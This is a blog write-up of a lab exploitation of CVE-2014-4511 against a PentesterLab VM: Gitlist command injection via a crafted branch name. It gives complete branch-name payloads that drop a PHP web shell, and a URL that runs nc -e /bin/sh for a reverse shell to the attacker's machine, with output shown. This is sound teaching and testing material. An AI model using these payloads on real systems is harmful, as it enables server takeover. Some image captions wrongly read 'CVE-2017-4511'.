CVE-2014-4511 – Gitlist RCE via Malicious Branch Name

Though it’s an old one, I’m finally getting around to my CVE-2014-4511 write-up.

This is actually something I saw in an environment not too long ago, so it was worth sharing.

CVE-2014-4511 – Introduction

Gitlist previous to version 0.5 was vulnerable to a few different remote code execution attacks. In this case, I’ll be covering the 2nd via a malicious branch name.

This was actually brought up as a bug, but was quickly recognized as a vulnerability.

For another great write-up, check out the original post from 2014.

Installation and Verification

If you’d like to follow along, you can download a vulnerable ISO from PenTester Lab.

Once I configured the VM, I verified that Gitlist was up and running.

CVE-2014-4511 - GitList Installed

Additionally, I made sure that I was able to clone the test repository using the provided credentials.

pentesterlab@vulnerable:~$ git clone git@vulnerable:test.git
Cloning into 'test'...
The authenticity of host 'vulnerable (127.0.0.1)' can't be established.
ECDSA key fingerprint is b2:23:9a:fa:a7:7a:cb:cd:30:85:f9:cb:b8:17:ae:05.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'vulnerable' (ECDSA) to the list of known hosts.
git@vulnerable's password:
remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
pentesterlab@vulnerable:~$ ls
test/

Vulnerability Break Down

The actual vulnerability lies in Repository.php of the Gitter library, and Gitlist invokes this from TreeController.php. The vulnerable code in question is actually below.

$hash = $this->getClient()->run($this, "log --pretty=\"%T\" --max-count=1 $branch");

While there is no input sanitization in $branch, there are actually a few rules per refs.c.

  • Cannot begin with .
  • No double dots (..)
  • Cannot contain ASCII control characters (?, [, ], ~, ^, :, \)
  • Can’t end with /
  • Cannot end with .lock
  • No backslashes
  • Cannot contain a space

With these restrictions in mind, it would be best to somehow encode the payload, which is what the original exploit does.

git checkout -b "|echo\$IFS\"PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg==\"|base64\$IFS-d>/var/www/gitlist/cache/x"

This payload actually creates a branch that echos the encoded payload, pipes it to base64 -d, and then writes it to the world writable cache folder. Note that $IFS is the internal field separator, which acts as a space.

Finally, the actual PoC payload is as follows.

pentesterlab@vulnerable:~$ echo PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg== | base64 -d
<?system($_REQUEST['x']);?>

CVE-2014-4511 Payload Attempt

First, I attempted to generate my payload. I did this so that I’d understand how it worked, plus I was more familiar with the variables.

pentesterlab@vulnerable:~$ echo "<? echo passthru($_GET['cmd']); ?>" | base64
PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K

With that generated, I created a new branch with the malicious name.

pentesterlab@vulnerable:~$ cd test
pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x"
Switched to a new branch '|echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x -> |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x

After I created the branch, I loaded it in the web UI to execute the command injection.

CVE-2017-4511 - Branch names

CVE-2017-4511 - Loaded branch

When I went to view the /cache/x file, it was there! Unfortunately, it was showing plain-text instead of my PHP application. Note: this is missing part of the code I attempted to inject, which I do not notice until later.

CVE-2017-4511 - Plain-text Payload

Payload Debugging

First, I added a .php extension to the file, if the web server wasn’t handling the file properly.

pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x.php"
Switched to a new branch '|echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php -> |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php

That at least modified the behavior of the payload, but there was still another issue.

CVE-2017-4511 - PHP error

Next, I attempted to use full PHP tags, if short tags weren’t enabled.

pentesterlab@vulnerable:~/test$ echo "<?php echo passthru($_GET['cmd']); ?>" | base64
PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K
pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x2.php"
Switched to a new branch '|echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php -> |echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php

This seemed to work better, as I could no longer see my PHP code. Unfortunately, there was no command output.

CVE-2017-4511 - Blank execution

Working Exploit!

After many attempts, and plenty of time banking my head against my keyboard, I realized my error. I wasn’t properly escaping the $ in my command, so it wasn’t getting properly encoded into my payload.

pentesterlab@vulnerable:~/test$ echo "<?php system($_GET['cmd']);?>" | base64 | base64 -d
<?php system(['cmd']);?>
pentesterlab@vulnerable:~/test$ echo "<?php system(\$_GET['cmd']);?>" | base64 | base64 -d
<?php system($_GET['cmd']);?>
pentesterlab@vulnerable:~/test$ echo "<?php system(\$_GET['cmd']);?>" | base64
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K

First, I generated a new branch with the properly encoded payload.

pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x8.php"
Switched to a new branch '|echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php -> |echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php

Next, I loaded the new malicious branch in the application.

CVE-2017-4511 - Working payload

Finally, I went to the cached page, and had proper command execution!

CVE-2017-4511 - RCE

As a bonus, I was also able to grab a reverse shell from the following URL:

http://192.168.5.59/cache/x8.php?cmd=nc%20192.168.5.21%20443%20-e%20/bin/sh

root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.5.59: inverse host lookup failed: Unknown host
connect to [192.168.5.21] from (UNKNOWN) [192.168.5.59] 50708
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
hostname
vulnerable
^C

CVE-2014-4511 Conclusion

While this was an older vulnerability, I’m glad that I finally got around to sharing it. This is still something that could be found in older development environments.

Additionally, it was a good example of some neat code execution in a web application. Other than that, it gave me an opportunity to point out some possible “gotcha” moments and examples of debugging.

doyler on Githubdoyler on Twitter
doyler

Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!


He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.


When he’s not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.


Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*